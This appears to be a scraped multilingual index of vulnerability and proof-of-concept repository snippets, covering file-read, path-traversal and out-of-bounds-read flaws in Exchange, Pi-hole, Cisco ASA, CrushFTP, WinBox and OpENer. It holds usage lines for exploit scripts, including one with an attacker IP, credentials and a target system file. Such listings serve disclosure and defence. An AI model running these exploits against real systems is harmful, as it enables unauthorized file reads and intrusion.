CVE-2026-45504

CVE-2026-45504 Exchange 파일 읽기 CVE-2026-45504 Exchange 파일 읽기 연구 블로그 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2020-1206-POC

CVE-2020-1206 POC чтения неинициализированной памяти ядра c 2020 ZecOps, Inc. - https://www.zecops.com - Находите ошибки атакующих POC для проверки CVE-2020-1206 / "SMBleed" Ожидаемый результат: локальный файл, содержащий память ядра целевого компьютера. Предназначен только для образовательных...

CVE-2024-28247-Pi-hole-Arbitrary-File-Read

CVE-2024-28247 Pi-hole 임의 파일 읽기 설명 이 저장소는 Pi-hole에서 발견된 고위험 취약점CVSS 7.6인 CVE-2024-28247에 대한 익스플로잇을 포함합니다. Pi-hole은 네트워크 수준에서 광고 및 추적 도메인을 차단하는 데 널리 사용되는 DNS 싱크홀입니다. 이 취약점은 "file://" 핸들러를 통해 접근할 때 파일 경로를 잘못 처리하여 발생하며, 원격 공격자가 시스템에서 임의의 파일을 읽을 수 있게 합니다. 이 취약점을 악용하면 공격자가 읽을 파일의 경로를 제어할 수 있으며, 이를 통해 ...

CVE-2018-18778-Scanner

CVE-2018-18778-Scanner Сканирование уязвимых версий minihttpd до версии 1.30. ACME minihttpd до версии 1.30 позволяет удаленным пользователям читать произвольные файлы. Использование python3 CVE-2018-18778-Scanner.py...

Cisco-ASA-FTD-Web-Services-Traversal

Уязвимость обхода пути веб-сервисов Cisco Adaptive Security Appliance и Firepower Threat Defense CVE-2020-3452 Использование: CVE-2020-3452.py https://target Описание уязвимости: Уязвимость в интерфейсе веб-сервисов Cisco Adaptive Security Appliance ASA и Cisco Firepower Threat Defense FTD может...

EUVD-2025-211053

Jivejdon through 5.0 contains a sql injection vulnerability in AccountDaoSql.getAccountByNameLike that allows authenticated administrators to inject SQL via the username parameter. Attackers with the Admin role can submit crafted input to /admin/user/userListAction to read database contents,...

CVE-2024-4040-CrushFTP-File-Read-vulnerability

CVE-2024-4040: Уязвимость чтения файлов CrushFTP Обзор 19 апреля 2024 года новая уязвимость нулевого дня, затрагивающая версии CrushFTP ниже 10.7.1 и 11.1.0, а также устаревшие версии 9.x, была раскрыта в частном списке рассылки поставщиком управляемой передачи файлов CrushFTP. Первоначально...

WinboxPoC

WinboxExploit Это доказательство концепции критической уязвимости WinBox CVE-2018-14847, которая позволяет произвольное чтение файлов с паролями в открытом виде. Уязвимость давно исправлена, поэтому этот проект завершен и больше не будет поддерживаться или обновляться. Вы можете сделать форк и...

CVE-2021-28476

CVE-2021-28476: уязвимость удаленного выполнения кода от гостя к хосту «Microsoft Hyper-V Remote Code Execution Vulnerability» в vmswitch.sys. Это доказательство концепции для CVE-2021-28476 «Уязвимость удаленного выполнения кода Hyper-V», произвольное чтение памяти в vmswitch.sys провайдер сетев...

CVE-2024-4956

CVE-2024-4956 이 저장소는 CVE-2024-4956 취약점 악용을 자동화하는 Python 유틸리티를 포함하며, 입력 파일에서 파일 경로를 대량 테스트하고 발견된 파일 경로 내용을 디스크에 저장하여 분석하는 과정을 자동화합니다. 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 사용법 usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options:...

heartbleed

Уязвимость Heartbleed Описание сценария Уязвимость Heartbleed — это пример кибератаки, использующей брешь в библиотеке OpenSSL. Кратко: отсутствие этапа проверки в библиотеке OpenSSL позволяет злоумышленнику получить доступ к конфиденциальной информации на сервере, использующем уязвимую библиотек...

CVE-2026-75349

The EIPStackGroup OpENer software, version v2.3.0/master (up to commit 76b95cf ), is vulnerable to an out-of-bounds read vulnerability during Connection Manager request parsing . This flaw allows a remote attacker to trigger a denial of service (DoS) . No specific exploitation details or remediat...

CVE-2026-75345

The software OpENer v2.3.0 (specifically commit 76b95cf ) is vulnerable to an out-of-bounds read located within the unconnected explicit messaging path. This security flaw allows a remote attacker to trigger a denial of service (DoS) . No specific remediation instructions or exploit details are p...

CVE-2026-75348

An out-of-bounds read vulnerability exists in EIPStackGroup OpENer v2.3 and master up to commit 76b95cf in the EtherNet/IP TCP SendRRData Common Packet Format parser. The issue occurs in CreateCommonPacketFormatStructure when it parses recognized optional socket address information items of type...

CVE-2026-75348

An out-of-bounds read vulnerability exists in the EtherNet/IP TCP SendRRData Common Packet Format parser within EIPStackGroup OpENer v2.3 and master up to commit 76b95cf . The root cause is located in the CreateCommonPacketFormatStructure() function, which fails to validate that the remaining CPF...

CVE-2026-75348

An out-of-bounds read vulnerability exists in EIPStackGroup OpENer v2.3 and master up to commit 76b95cf in the EtherNet/IP TCP SendRRData Common Packet Format parser. The issue occurs in CreateCommonPacketFormatStructure when it parses recognized optional socket address information items of type...

CVE-2026-75346

An out-of-bounds read vulnerability exists in EIPStackGroup OpENer v2.3 and master through commit 76b95cf in the server-side CIP SetAttributeList service. This allows a remote attacker to cause a denial of service...

CVE-2026-75353

The OpENer v2.3 (commit 76b95cf) software contains an out-of-bounds read vulnerability within the server-side EtherNet/IP ForwardOpen connection-path parser . This flaw could allow a remote attacker to trigger a denial of service condition. No specific exploit details or remediation steps are pro...

CVE-2026-75351

OpENer v2.3/commit 76b95cf, contains an out-of-bounds read in the server-side EtherNet/IP ForwardOpen connection-path parser. This allows a remote attacker to cause a denial of service...

CVE-2026-75346

An out-of-bounds read vulnerability exists in the EIPStackGroup OpENer software, specifically affecting versions v2.3 and the master branch through commit 76b95cf . The flaw is located in the server-side CIP SetAttributeList service. A remote attacker can exploit this vulnerability to cause a den...